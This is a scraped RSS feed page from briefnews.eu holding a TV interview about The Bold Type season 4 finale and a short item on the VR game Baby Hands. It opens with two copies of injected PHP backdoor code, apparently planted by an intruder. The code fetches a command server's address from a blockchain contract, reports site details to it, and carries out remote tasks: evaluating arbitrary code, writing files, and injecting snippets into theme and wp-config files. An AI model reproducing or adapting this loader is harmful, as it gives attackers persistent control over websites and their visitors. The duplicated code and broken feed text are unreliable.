// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘destructive – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 17 Jul 2020 10:44:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘destructive – Brief News https://briefnews.eu 32 32 Bold Type EP on Sutton’s ‘Destructive’ Spiral, Kat/Eva Attraction and Jane’s Potential Workplace Romance https://briefnews.eu/bold-type-ep-on-suttons-destructive-spiral-kat-eva-attraction-and-janes-potential-workplace-romance/ https://briefnews.eu/bold-type-ep-on-suttons-destructive-spiral-kat-eva-attraction-and-janes-potential-workplace-romance/#respond Fri, 17 Jul 2020 10:44:34 +0000 https://briefnews.eu/bold-type-ep-on-suttons-destructive-spiral-kat-eva-attraction-and-janes-potential-workplace-romance/

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Warning: The following contains spoilers for Thursday’s The Bold Type finale. Proceed at your own risk!

Oh, Sutton Brady (Hunter?), you’re breaking our hearts. On Thursday’s The Bold Type Season 4 finale, the stylist ventured home for comfort, but instead found several bottles of booze in her alcoholic mother’s fridge. Then while drunkenly drowning her own sorrows, Sutton hooked up with her married high school sweetheart. But shockingly, showrunner Wendy Straker Hauser isn’t ruling out a reconciliation between Sutton and her estranged husband Richard in the following Q&A.

Elsewhere, Jane was not a fan of Kat’s flirtation with the “toxic” Eva. Kat eventually texted Eva that things between them were too complicated to continue. Jane also challenged Jacqueline’s decision to squash an inappropriate workplace story after it was revealed to have ties to a woman whom Jacqueline’s husband dated during their separation.

Below, Hauser talks about Sutton’s destructive ways and the status of her marriage, as well as Kat’s confusing feelings for Eva and Jane’s chemistry with her writer Scott.

TVLINE | I was kind of surprised that there were two more episodes that were supposed to come after this one, because this episode actually worked very well as an unexpected finale. Did you make any changes to it to help it better function as a season finale?
We did. We didn’t reshoot anything. We just sort of reordered a few things. It’s hard to get specific about it, but we did whatever we could just try to make a finale out of it and heighten certain situations. But it was a very jam-packed episode to begin with. Our journey was not finished. So we left it on a big bang, that’s for sure.

TVLINE | When I talked to Katie Stevens, she was raving about those final two episodes that you didn’t get to finish. What can you say about what was in store and how those episodes or storylines might be incorporated into a fifth season, if you get renewed?
For Katie, specifically, we had left off in Episode 15 [with] Scott [admitting] that he had feelings for her, and there was that complication of, “What do you do when you connect with someone you work with, genuinely, but you’re also in a position of authority?” and it’s a new job for her. So we were going to see that [play] out more. Her arc got cut short in that way. At the same time, she was gaining more traction with Scarlet, and Jacqueline letting her know that she’s the future of Scarlet. So those were interesting things that she was going to juggle. We’ll still explore those things.

It’s amazing when you have an opportunity to stop, especially in television, when production’s moving so fast. I love so much of [Episodes] 17 and 18, but at the same time, I’m really excited about some things that weren’t shot, because we have an opportunity to tell even better stories. We just had a breath to sort of look at some things. So while some things will remain, other things will change. But our characters were going to go through more twists and turns before they made their final decisions.

The Bold Type RecapTVLINE | To echo something Sutton was wondering, are she and Richard over? How permanent of a breakup was it when he left the apartment?
I feel that Richard and Sutton have much more to explore. They both need to explore themselves first, though. They’ve been such an amazing, supportive couple, and Richard has been very accommodating in the past. Sometimes, there were probably things that were unsaid that we didn’t even realize were unsaid, which is what [Episode] 15 is about. It’s just sort of bringing up things that we all didn’t realize that probably bothered each one of them a little bit, but weren’t a big deal. But then when you come to this very clear impasse, where one of them wants kids and one doesn’t, and there’s a reminder that there’s a 20-year age difference, there are some real big issues to work through, if this couple makes it. We love Sutton and Richard. They haven’t hit real, huge roadblocks before. I’m hopeful that they’ll get to know themselves better, and we’ll see. I certainly don’t think the door is closed forever. But we’ll all discuss it in Season 5, if we get one.

TVLINE | Were there plans to see him in the final two unfinished episodes?
There were not.

TVLINE | You speak very hopefully about Sutton and Richard, possibly, finding a way to work things out in the future. How might Sutton sleeping with her ex-boyfriend play into that?
The real answer is I’m not really sure. She has a real journey to go through right now, and we’re excited to focus on that, first and foremost, and then see how her journey and where she lands leads to what her future is, whether it’s with Richard or not with Richard. I feel like your early twenties are about these big milestones and these sort of triumphant moments and a lot of new scenarios, and it’s exciting and scary. And then in your late twenties, some of your childhood issues or hang-ups or struggles come into play, and that’s happening with Sutton. She has an interesting relationship with her mother. The thought of becoming a mother has brought up some issues for her. She’s incredibly career-focused and in a great place right now, and she’s had a very visceral reaction to discovering that she really doesn’t want children, and she’s sort of unpacking what that means for her. There are a lot of emotions for her around that.

Right now, she’s just being a 26-year-old girl who has lost the love of her life for right now, who had everything, and very quickly, things have changed after discovering some huge differences, and she’s processing. She does what a lot of people do when they’re lost: They go home. She wanted to return to her mom. She wanted to go home, and when she went home, she sought comfort in an ex-boyfriend who always looked at her as this amazing Sutton Brady, who he would be lucky to spend some time with. She allowed herself to just give in in that moment, because she was feeling a lot of pain and because there was some comfort in home.

TVLINE | Home is also a place that’s filled with a family history of alcoholism, and Sutton has been known to enjoy a drink for fun. But now she’s using it to drown her pain. How concerned should we be that she’s following in her mother’s footsteps at the end of this episode?
She’s going to be challenged. She’s going to be a little destructive before she gets back on her feet. She’s feeling some shame, and she’s feeling some confusion. She feels a lot of loss, and I also think she’s disappointed in her own mom… There’s this feeling of, “Am I my mother? Was my beautiful, amazing, perfect life a fantasy? Am I really not worthy?” So there’s a little bit of self-sabotage that can happen, and it’ll be interesting to explore, and I think her friends will be there for her no matter what and, hopefully, help her through the process.

The Bold TypeTVLINE | Moving on to Kat, how much of what Jane said to her is weighing on her decision not to pursue something romantic with Eva?
Kat is also processing her feelings. When we started breaking the story, we talked about Kat enjoying the debate. Eva and Kat butt heads. They challenge each other. They have a sort of spark that comes from being on opposite sides [of] the debate. They also have a respect for each other. But I also think Kat’s confused by that. Jane’s words do ring true. But more than Jane’s words, it’s been sort of an inner conflict for Kat, as well. She didn’t expect to call out Eva’s name with Marissa. She was caught up in the debating and the sparring on the podcast, and sort of conflated that in the moment. She feels conflicted about having some feelings of attraction with someone who has some differing views than her.

TVLINE | We have seen in the past that Kat does like a challenge, and she’s always very eager to take one on.
Yes, that’s true.

TVLINE | Is that part of the attraction with Eva? Like, “Can I conquer this difference of opinion?”
I think so. Had we had more episodes, we would have seen that certainly come to fruition more. Our hope was that we could bring both sides together, learning from each other, and also have Eva come to realize some areas where she may have been wrong or not thought something through quite the way that she does when she sees it through Kat’s eyes. It was a challenge for Kat, and had we had more time, we would have seen that challenge pay off.

The Bold Type RecapTVLINE | Jane has always kind of put Jacqueline on a pedestal, but with this episode, is it the beginning of Jane starting to see her mentor in a new light and challenging her more?
I think that Jacqueline is being honest with Jane and vulnerable with Jane, and Jane truly believes that the story comes first and is reminding Jacqueline of things that she’s taught her in the past. They’re a little bit more on equal footing, where they’re just both being honest with each other. I don’t think that Jane is looking at Jacqueline any less so for being concerned about how a story might affect her private life. She recognizes it, but also is challenging her to remember what she taught Jane to begin with: It’s about the story. And Jane is confident that that she has the story, and that it’s not going to come back and affect Jacqueline’s personal life. And even if it does, if they’re helping that woman, then they can handle it together.

The Bold Type fans, what did you think of the season ender? Grade it below, then hit the comments!

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]]> https://briefnews.eu/bold-type-ep-on-suttons-destructive-spiral-kat-eva-attraction-and-janes-potential-workplace-romance/feed/ 0 ‘Baby Hands’ Lets Players Revisit (Destructive) Babyhood In VR https://briefnews.eu/baby-hands-lets-players-revisit-destructive-babyhood-in-vr/ https://briefnews.eu/baby-hands-lets-players-revisit-destructive-babyhood-in-vr/#respond Fri, 27 Jul 2018 01:29:23 +0000 http://briefnews.eu/baby-hands-lets-players-revisit-destructive-babyhood-in-vr/ babyHands_header.jpg

Babies get into everything. Everything. There are gates, covers, sealers, and more when it comes to babyproofing a home, but tiny humans are more than capable of getting around them all. As such, Baby Hands wants players to take the seat of a curious ankle-biter and get their hands on everything, causing pint-sized mayhem. Using VR, you’ll feel quite small within these gargantuan rooms full of things to grab at and throw around. Just try not to give your parents a headache. Or do it. I’m not your mom.

Baby Hands gives you a variety of places to crawl around in and things to interact with, offering tons of stuff to do and see. From the perspective of a chubby-handed baby, you’ll be able to set off volcanoes, play with cars, shoot a water gun, the list goes on and on. Baby Hands is all about discovery and imagination, and with no clear objective, you’re free to enjoy this sandbox world and stumble upon whatever fun you find, destructive or creative.

You may even discover your inner child (or baby!). Just try not to put everything in your mouth. You don’t know where it’s been.

You can find Baby Hands on Steam here. You can also check out the developer’s official website, Twitter, and Facebook.

